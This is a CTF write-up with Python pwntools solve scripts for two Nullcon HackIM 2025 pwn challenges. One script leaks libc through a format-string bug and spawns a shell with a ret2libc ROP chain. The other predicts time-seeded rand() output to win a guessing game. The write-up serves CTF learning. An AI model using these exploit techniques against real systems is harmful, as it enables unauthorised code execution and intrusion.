- Published on
Nullcon Goa HackIM 2025 - PWN: Hateful and Mr Unlucky
- Authors
- Name
- kerszi
Table of contents
Hateful

Simple return to libc.
from pwn import *
context.update(arch='x86_64', os='linux') context.terminal = ['wt.exe','wsl.exe']
HOST="52.59.124.14:5020"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./hateful_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc = ELF('./libc.so.6', checksec=False)
#---%5$p correct libc
# display some adresses
# for i in range (1,60):
# if args.REMOTE:
# p = remote(ADDRESS,PORT)
# else:
# p = process(binary.path)
# payload = f"%{i}$p".encode()
# info (f"Payload {i}: {payload}")
# p.sendlineafter(b"(yay/nay)", b'yay')
# p.sendlineafter(b"please provide your bosses email!",payload)
# p.recvuntil(b'email provided: ').strip()
# recv=p.recvline().strip()
# if b'0x7f' in recv:
# if not b'0x7ff' in recv:
# print (f"RECV:{payload} : {recv}")
# p.sendline(b'just joke')
# p.close ()
#-----Nie trzeba sprawdzać warunku, ale wcześniej
#-----coś się pomieszało
while True: # Pętla do momentu uzyskania poprawnego adresu
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
p.sendlineafter(b"(yay/nay)", b'yay')
p.sendlineafter(b"please provide your bosses email!", b'%5$p')
p.recvuntil(b'email provided: ').strip()
recv = p.recvline().strip()
try:
libc_address = int(recv, 16) - 0x1d2a80
except ValueError:
continue # Jeśli konwersja się nie uda, spróbuj ponownie
info(f"LIBC: {libc_address:x}")
if libc_address % 0x1000 == 0:
libc.address=libc_address
break # Jeśli adres jest poprawny, wychodzimy z pętli
print("Adres nie jest poprawnie wyrównany, próbujemy ponownie...")
p.close() # Zamykamy proces i próbujemy od nowa
length = 1016 #przepelnienie
rop=ROP(libc)
ret=rop.find_gadget(['ret'])[0]
pop_rdi=rop.find_gadget(['pop rdi','ret'])[0]
system=libc.symbols.system
str_bin_sh=next(libc.search(b'/bin/sh'))
payload=1016*b'A'+p64(ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system)
p.sendlineafter(b"now please provide the message!", payload)
p.interactive()
Flag: ENO{W3_4R3_50RRY_TH4T_TH3_M3554G3_W45_N0T_53NT_T0_TH3_R1GHT_3M41L}
Mr Unlucky

First, I extracted the names of the characters using the strings command and put them into an array. Then, I analyzed how their selection was implemented. However, since there was a 3-second pause in the program, I simply disabled it in Ghidra
. The characters are generated based on time, so the key was to find the first character. Once that was done, generating the next characters was easy. Here is the solve code:
from pwn import *
import ctypes
import time
# Importujemy libc
libc = ctypes.CDLL("libc.so.6")
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="52.59.124.14:5021"
ADDRESS,PORT=HOST.split(":")
BINARY_NAME="./mr_unlucky"
#BINARY_NAME="./mr_unlucky_0_sleep"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
heroes = [
"Anti-Mage", "Axe", "Bane", "Bloodseeker", "Crystal Maiden", "Drow Ranger",
"Earthshaker", "Juggernaut", "Mirana", "Morphling", "Phantom Assassin",
"Pudge", "Shadow Fiend", "Sniper", "Storm Spirit", "Sven",
"Tiny", "Vengeful Spirit", "Windranger", "Zeus"
]
def predict_heroes_from_timestamp(timestamp, count=50):
libc.srand(ctypes.c_uint(timestamp)) # Ustawiamy seed jako unsigned int
hero_sequence = []
for _ in range(count):
hero_index = libc.rand() % len(heroes)
hero_sequence.append(heroes[hero_index])
return hero_sequence
current_time = int(time.time())
predicted_heroes=predict_heroes_from_timestamp(current_time)
p.recvuntil(b'Can you help me guess the names?',timeout=3)
for hero in predicted_heroes:
p.sendlineafter(b"Guess the Dota 2 hero (case sensitive!!!):", hero.encode())
p.interactive()
Flag: ENO{0NLY_TH3_W0RTHY_0N35_C4N_CL41M_THE_AEGIS_OF_IMMORTALITY!!!}